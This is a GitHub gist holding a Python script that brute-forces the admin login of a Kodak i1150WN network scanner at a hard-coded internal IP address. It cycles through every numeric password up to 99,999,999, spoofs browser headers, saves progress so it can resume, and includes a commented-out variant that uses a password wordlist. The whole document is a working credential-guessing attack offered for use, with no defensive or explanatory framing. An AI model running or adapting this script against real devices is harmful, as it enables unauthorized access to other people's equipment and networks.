Skip to content

Instantly share code, notes, and snippets.

@dorokhin
Last active September 30, 2020 07:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dorokhin/a0e708f7701e0c130611db8bd1d422cf to your computer and use it in GitHub Desktop.
Save dorokhin/a0e708f7701e0c130611db8bd1d422cf to your computer and use it in GitHub Desktop.
Brute force login page Kodak i1150WN scanner
import http.client
import requests
import atexit
import sys
from socket import gaierror
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Content-Type': 'application/json; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'http://10.24.221.223/ru/login.html',
'Host': '10.24.221.223',
'Origin': 'http://10.24.221.223'
}
s = requests.Session()
HOST = '10.24.221.223'
LOGIN_URL = f'http://{HOST}/api/config/login'
def savecounter(_count):
print(f'Save current counter ({_count}) value')
with open("counterfile", "w") as outfile:
outfile.write("%d" % _count)
def main():
try:
with open("counterfile") as infile:
_count = int(infile.read())
print(f'Resume iteration from {_count}')
except FileNotFoundError:
_count = 0
for password in range(_count, 100000000):
try:
PAYLOAD = f'password={password}'
content = s.post(LOGIN_URL, data=PAYLOAD.encode('utf-8'), headers=headers)
print(password)
if content.status_code != 400:
print(content.status_code, '!!! OK', password)
print(content.content)
break
except (KeyboardInterrupt, SystemExit):
savecounter(password)
sys.exit()
# filepath = '2151220-passwords.txt'
# with open(filepath) as fp:
# line = fp.readline()
# while line:
# line = fp.readline()
# password = line.strip().replace('=', '')
# PAYLOAD = f'password={password}'
# content = s.post(LOGIN_URL, data=PAYLOAD.encode('utf-8'), headers=headers)
# print(password)
#
# if content.status_code != 400:
# print(content.status_code, '!!! OK', password)
# print(content.content)
# break
if __name__ == '__main__':
try:
conn = http.client.HTTPConnection(f'{HOST}', 80, timeout=1)
conn.request("GET", "/")
r1 = conn.getresponse()
print(r1.status, r1.reason)
main()
except (ConnectionError, gaierror) as e: # This is the correct syntax
print(e)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment